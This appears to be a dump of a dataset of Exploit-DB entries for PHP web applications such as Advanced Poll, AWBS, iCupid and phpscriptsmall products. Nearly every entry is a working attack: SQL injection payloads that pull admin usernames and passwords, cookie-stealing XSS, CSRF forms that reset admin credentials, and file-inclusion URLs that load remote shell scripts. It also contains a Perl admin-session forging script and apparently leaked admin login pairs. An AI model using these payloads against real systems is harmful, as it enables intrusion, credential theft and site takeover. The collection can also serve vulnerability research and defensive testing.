deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41521
Description: Advanced Matrimonial Script 2.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Advanced Matrimonial Script v2.0.3 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/advanced-matrimonial/
# Demo: http://74.124.215.220/~admatrimon/
# Version: 2.0.3
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/photoalbum.php?userid=[SQL]
# http://localhost/[PATH]/members_result.php?match_result=[SQL]
# http://localhost/[PATH]/search_result.php?cityse=Basic+Search&gender=Male&age_from=[SQL]&marital=[SQL]&religion=[SQL]&caste=[SQL]&country=[SQL]&education=[SQL]&Submit=Search
# For example;
# photoalbum.php?userid=-22'+/*!50000union*/+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),86,87,88,89-- -
# status:adminlogin
# admin_id:adminlogin
# admin_username:adminlogin
# admin_[CREDENTIAL_REDACTED]
# admin_email:adminlogin
# photoalbum.php?userid=-22'+/*!50000union*/+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,/*!50000concat(*/admin_username,/*!50000char*/(58),admin_password),86,87,88,89+from+adminlogin-- -
# <input type="hidden" name="userid" value="admin:inetsol" />
# <input type="hidden" name="userid" value="raj:123456" />
# <input type="hidden" name="userid" value="sath:123456" />
# Etc... Etc...
# # # # #
Exploit-DB #51785
Description: Advanced Page Visit Counter 1.0 - Admin+ Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2024-02-09
Author: Furkan ÖZER

Exploit:
# Exploit Title: Advanced Page Visit Counter 1.0 - Admin+ Stored Cross-Site
Scripting (XSS) (Authenticated)
# Date: 11.10.2023
# Exploit Author: Furkan ÖZER
# Software Link: https://wordpress.org/plugins/advanced-page-visit-counter/
# Version: 8.0.5
# Tested on: Kali-Linux,Windows10,Windows 11
# CVE: N/A


# Description:
Advanced Page Visit Counter is a remarkable Google Analytics alternative
specifically designed for WordPress websites, and it has quickly become a
must-have plugin for website owners and administrators seeking powerful
tracking and analytical capabilities. With the recent addition of Enhanced
eCommerce Tracking for WooCommerce, this plugin has become even more
indispensable for online store owners.

Homepage | Support | Premium Version

If you’re in search of a GDPR-friendly website analytics plugin exclusively
designed for WordPress, look no further than Advanced Page Visit Counter.
This exceptional plugin offers a compelling alternative to Google Analytics
and is definitely worth a try for those seeking enhanced data privacy
compliance.

This is a free plugin and doesn’t require you to create an account on
another site. All features outlined below are included in the free plugin.

Description of the owner of the plugin Stored Cross-Site Scripting attack
against the administrators or the other authenticated users.

The plugin does not sanitise and escape some of its settings, which could
allow high privilege users such as admin to perform Stored Cross-Site
Scripting attacks even when the unfiltered_html capability is disallowed
(for example in multisite setup)

The details of the discovery are given below.

# Steps To Reproduce:
1. Install and activate the Advanced Page Visit Counter plugin.
2. Visit the "Settings" interface available in settings page of the plugin
that is named "Widget Settings"
3. In the plugin's "Today's Count Label" setting field, enter the payload
Payload: " "type=image src=1 onerror=alert(document.cookie)> "
6. Click the "Save Changes" button.
7. The XSS will be triggered on the settings page when every visit of an
authenticated user.


# Video Link
https://youtu.be/zcfciGZLriM
Exploit-DB #33972
Description: Advanced Poll 2.0 - 'mysql_host' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40045/info

Advanced Poll is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Advanced Poll 2.08 is vulnerable; other versions may also be affected. 

<form method="POST" action="http://www.example.com/misc/get_admin.php" name="main">
<input type="hidden" name="mysql_host" value="<script>alert(document.cookie);</script>">
<input type="hidden" name="db_name" value="X">
<input type="hidden" name="mysql_user" value="X">
<input type="hidden" name="mysql_pass" value="X">
<input type="hidden" name="action" value="connect">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #22412
Description: Advanced Poll 2.0 - Remote Information Disclosure
Type: webapps
Platform: php
Date: 2003-03-22
Author: subj

Exploit:
source: https://www.securityfocus.com/bid/7171/info

It has been reported that an information disclosure vulnerability exists in Advanced Poll. Because of this, a remote user to potentially access privileged information that could lead to further attack against the host and it's users.

http://www.example.com/[poll_dir]/db/info.php
http://www.example.com/[poll_dir]/textfile/info.php
Exploit-DB #28253
Description: Advanced Poll 2.0.2 - 'common.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-21
Author: Solpot

Exploit:
source: https://www.securityfocus.com/bid/19105/info

Advanced Poll is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage this issue to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

Version 2.02 is reported vulnerable; other versions may also be affected.

http://www.example.com/[path_advanced_poll]/admin/common.inc.php?base_path=http:www.example.com
Exploit-DB #26539
Description: Advanced Poll 2.0.2/2.0.3 - 'popup.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-21
Author: [GB]

Exploit:
source: https://www.securityfocus.com/bid/15506/info

Advanced Poll is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/poll/popup.php?action=results&poll_ident="><script>alert("hola vengo a flotar");</script>

http://www.example.com/poll/popup.php?action=results&poll_ident="><script>alert(document.cookie);</script>
Exploit-DB #3282
Description: Advanced Poll 2.0.5-dev - Remote Admin Session Generator
Type: webapps
Platform: php
Date: 2007-02-07
Author: diwou

Exploit:
#!/usr/bin/perl -w
# Advanced Poll 2.0.0 >= 2.0.5-dev textfile admin session gen.
#
# 
# 0day!  KEEP IT PRIVATE  0day!
# 
# date: 30/07/06
# 
# diwou <diwou@phucksys.org>
#
# PHCKSEC (c) 2001-2006.
#
# see templates for code execution ;).

use strict;
use warnings;
use LWP::UserAgent;
use MD5;

my ($lwp,$agent,$out,$url,$proxy)=(undef,undef,undef,$ARGV[0],$ARGV[1]);
my %zday=
(
	username => 'jakahw4nk4h',
	'pollvars[poll_username]' => 'jakahw4nk4h',
	password => 'fuckoff',
	'pollvars[poll_password]' => ''
);
$zday{'pollvars[poll_password]'}=&md5($zday{password});
$agent="Hey IDS! i'm gonna fuck your advanced poll right? B===D"; # post method doesnt log it, so doesnt matter.
#$agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1";

#
# args: url proxy(optional)
# 
# url: http|https://tatget:(port)/phppoll/
# proxy: http|https://hostname:(port)/
#
die("RTFC! ;)") unless(@ARGV);

# some lwp routines...
$lwp=new LWP::UserAgent();
$lwp->agent($agent);
$lwp->timeout(10);
$lwp->protocols_allowed(['http','https']);
$lwp->proxy(['http','https'],$proxy) if(@ARGV>1);

$url.="/" if($url!~/\/$/);
$url.="admin/index.php";
print "Using proxy ".$proxy."\n" if($proxy);
print "Doing some pretty with ".$url."...\n\n";

$out=$lwp->post($url,\%zday)->content();
if($out=~ /index\.php\?session=((.){32})/)
{
	print "well, you are a bigone ;).\n";
	print "try: ".$url."?session=".$1."&uid=1\n";
}
else
{
	print "don't worry, u can improve me! eh eh eh :D?\n";
}

sub md5
{
	$_=new MD5;
	$_->add(@_);
	return unpack("H*",$_->digest());
}

# milw0rm.com [2007-02-07]
Exploit-DB #18076
Description: Advanced Poll 2.02 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-04
Author: Yassin Aboukir

Exploit:
##############################################################################################################
[+] Title              :  Advanced Poll 2.02 SQL Injection Vulnerability
[+] Affected Version   :  v2.02
[+] Software Link      :  http://www.electrolized.free.fr/scripts-php/pollphp.zip
[+] Tested on          :  Windows 7 <Firefox>
[+] Date               :  15/10/2011
[+] Dork               :  inurl:/db/admin intitle:Advanced Poll 2.02
[+] Category           :  Webapps
[+] Severity           :  High
[+] Author             :  Yassin Aboukir
[+] Site               :  http://www.yaboukir.com
###############################################################################################################

[+] About the software :  Sondage très puissant, gestion de plusieurs sondage, interface  d'administration.
 Ce script utilise soit un fichier texte soit une base de donnée. 

[+] How that can be exploited :

                http://localhost/path/db/db/popup.php?action=results&poll_ident=1 [SQL Me]

[+] Fix :  upgrade to last release.
Exploit-DB #41522
Description: Advanced Real Estate Script 4.0.6 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Advanced Real Estate Script v4.0.6 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/advanced-real-estate-script/
# Demo: http://www.phprealestatescript.org/advanced_realestate/
# Version: 4.0.6
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/state.php?country=[SQL]
# http://localhost/[PATH]/city.php?city=[SQL]
# http://localhost/[PATH]/locat.php?locat=[SQL]
# For example;
# -1'+/*!50000union*/+select+1,2,3,4,@@version,6-- -
# -1'+/*!50000union*/+select+1,2,3,4,5,@@version,7,8,9-- -
# -1'+/*!50000union*/+select+1,2,3,4,5,6,@@version,8-- -
# Etc... Etc...
# # # # #
Exploit-DB #3795
Description: Advanced Webhost Billing System (AWBS) 2.4.0 - 'cart2.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-24
Author: DamaR

Exploit:
#AWBS v2.4.0  Remote file include[cart2.php]

#Demo  : http://www.awbs.com/demo.php

#D0rk : Ä°nurl:awbs.php

#Home Page: Www.SiberAktif.Net

#Exploit


#http://localhost/[gpb_path]/docs/front-end-demo/cart2.php?workdir=http://sh3ll.com/for.txt?


#Discovered by : DamaR

#By.Damar@Hotmail.Com

# milw0rm.com [2007-04-24]
Exploit-DB #5823
Description: Advanced Webhost Billing System (AWBS) 2.7.1 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-15
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## AWBS  Versions ( 2.3.3 - v2.5.0 - v2.6.3 - 2.7.0 - V2.7.1 )  (( news.php viewnews ))
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script   : AWBS
##
## Versions : ( 2.3.3 - v2.5.0 - v2.6.3 - 2.7.0 - V2.7.1 )
##
##  Site    : www.awbs.com
##
########################
########################
########################
########################
##
##    d0rk :  allinurl: "news.php?viewnews"
##
##
##     -(:: SQL ::)-
##
##    www.site.com/
##              news.php?viewnews=-1'+union+select+1,2,username,password,5,6,7+from+users/*
##
##
##  -(:: L!VE DEMO ::)-
##
##     www.awbsdemo.com/news.php?viewnews=1
##
########################
########################
  -(:: N0te ::)-
  All the versions have same exploit and all the sites web hosting :))        
  (( Passwords => MD5 ))
######################################################################################################
######################################################################################################
                                   -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
:: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
######################################################################################################
######################################################################################################

# milw0rm.com [2008-06-15]
Exploit-DB #35231
Description: Advanced Webhost Billing System (AWBS) 2.9.2 - 'oid' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-16
Author: ShivX

Exploit:
source: https://www.securityfocus.com/bid/45827/info

Advanced Webhost Billing System (AWBS) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AWBS 2.9.2 is vulnerable; other versions may also be affected. 

http://www.example.com/cart?ca=add_other&oid=1'%20AND%20SLEEP(100)='
Exploit-DB #49369
Description: Advanced Webhost Billing System 3.7.0 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-01-06
Author: Rahul Ramakant Singh

Exploit:
# Exploit Title: Advanced Webhost Billing System 3.7.0 - Cross-Site Request Forgery (CSRF)
# Date: 06/01/2021
# Exploit Author: Rahul Ramakant Singh
# Vendor Homepage: https://www.awbs.com/
# Version: 3.7.0
# Tested on Windows

Steps:

1. Login into the application with the help of email and password.
2. Navigate to my additional contact page and add one contact for the same
3. Now there is option for delete the contact from the list.
4. Now Logout from the application and same create a one CSRF POC having having action of delete contact and same blank the token value from CSRF POC.
5. Now again login into the application and Send a link of this crafted page(generated CSRF POC) to the victim.
6. When the victim user opens the link, a script present on the crafted page sends a request for delete of contact to the server with an active session ID of the victim and accept the blank token value from the request.
7. Contact successfully deleted.
Exploit-DB #43311
Description: Advanced World Database 2.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Advanced World Database 2.0.5 - SQL Injection
# Dork: N/A
# Date: 10.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/advanced-world-database/
# Version: 2.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/city.php?country=[SQL]&state=[SQL]
# http://localhost/[PATH]/state.php?country=[SQL]
# 
# Parameter: country (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: country=Russian Federation' AND 6933=6933 AND 'kVcM'='kVcM&state=Moskva
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: country=Russian Federation' AND SLEEP(5) AND 'ZbHT'='ZbHT&state=Moskva
# 	
# # # # #
Exploit-DB #42458
Description: AdvanDate iCupid Dating Software 12.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-15
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: iCupid Dating Software 12.2 - SQL Injection
# Dork: N/A
# Date: 15.08.2017
# Vendor Homepage : https://www.advandate.com/
# Software Link: https://www.advandate.com/dating-software-features/
# Demo: https://demo.advandate.com/
# Version: 12.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?dll=music&sub=search&keyword=[SQL]
# '+aND(/*!00002SelEcT*/+0x30783331+/*!00002frOM*/+(/*!00002SelEcT*/+cOUNT(*),/*!00002cOnCaT*/((/*!00002sELECT*/(/*!00002sELECT*/+/*!00002cOnCaT*/(cAST(dATABASE()+aS+/*!00002cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00002FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00002wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00002rAND*/(0)*2))x+/*!00002FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00002aNd*/+''='
# 
# Etc...
# # # # #
Exploit-DB #34849
Description: AdvertisementManager 3.1 - 'req' Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/44165/info

AdvertisementManager is prone to local and remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or compromise the application and the underlying computer; other attacks are also possible.

AdvertisementManager 3.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/Advertisement/cgi/index.php?usr=indoushka&passw=indoushka&savelogin=on&admin=Enter&req=../../../../../../../../boot.ini%00

http://www.example.com/Advertisement/cgi/index.php?usr=indoushka&passw=indoushka&savelogin=on&admin=Enter&req=http://www.example.com/c.txt?
Exploit-DB #42621
Description: Advertiz PHP Script 0.2 - Cross-Site Request Forgery (Update Admin)
Type: webapps
Platform: php
Date: 2017-09-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Advertiz PHP Script 0.2 - Cross-Site Request Forgery (Update Admin User&Pass)
# Dork: N/A
# Date: 06.09.2017
# Vendor Homepage: http://www.dijiteol.com/
# Software Link: http://www.dijiteol.com/p-Advertiz-PHP-Script--No-Accounts-Required--i-2.html
# Demo: http://dijiteol.com/demos/advertiz/
# Version: 0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
<html>
<body>
<form method="post" action="http://localhost/[PATH]/admin/editpersonal.php">
<!--Change admin username-->
<input name="login" type="text" size="20" maxlength="15" value="admin">
<!--Change admin password-->
<input name="pass" type="text" class="keyboardInput" size="20" maxlength="15" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>
# # # # #
Exploit-DB #12859
Description: Advneced Management For Services Sites - File Disclosure
Type: webapps
Platform: php
Date: 2010-06-03
Author: indoushka

Exploit:
======================================================================= 
# Advneced Management For Services Sites (File Disclosure) Vulnerabilities 
======================================================================= 

######################################################################## 
# Vendor: http://www.AM4SS.com/ 
# Date: 2010-05-27 
# Author : indoushka 
# Thanks to : Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com ! 
# Contact : indoushka@hotmail.com 
# Home : www.arab-blackhat.co.cc
# Dork : Powered by AM4SS 1.0 
# Bug  : File Disclosure 
# Tested on : windows SP2 Français V.(Pnx2 2.0) 
######################################################################## 
                                                                                                                                                                                                
# Exploit By indoushka 
# File Disclosure : 

in : am4ss/admincp/misc.php/login.php?do= 

Exploit : am4ss/admincp/misc.php/login.php?do=/includes/configure.php 

Example : http://[site]/am4ss/admincp/misc.php/login.php?do=/includes/configure.php 


Dz-Ghost Team : Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel :
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R * www.alkrsan.net * MR.SoOoFe * ThE g0bL!N
Exploit-DB #2513
Description: ae2 - 'standart.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: k1tk4t

Exploit:
##################################################################################
# ae2 (standart.inc.php) Remote File Inclusion
# Download Source : http://ae.utbm.fr/equipeinfo/siteae-utbm-latest.tar.gz
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   -- #newhack[dot]org
########################################################################
file ;
standart.inc.php
########################################################################
bugs ;
require_once($topdir . "include/lib/wiki2xhtml.inc.php");
require_once($topdir . "include/entitieslinks.inc.php");
require_once($topdir."include/group.inc.php");
########################################################################
exmple and methode exploit ;
http://localhost/ae2/include/cts/standart.inc.php?topdir=http://shell/cmd.co?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubicrew (all member solpotcrew community)
person;
y3dips, lirva32, the_day,(&all echo staff)
illibero,NoGe(all member asiahacker), nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

# milw0rm.com [2006-10-10]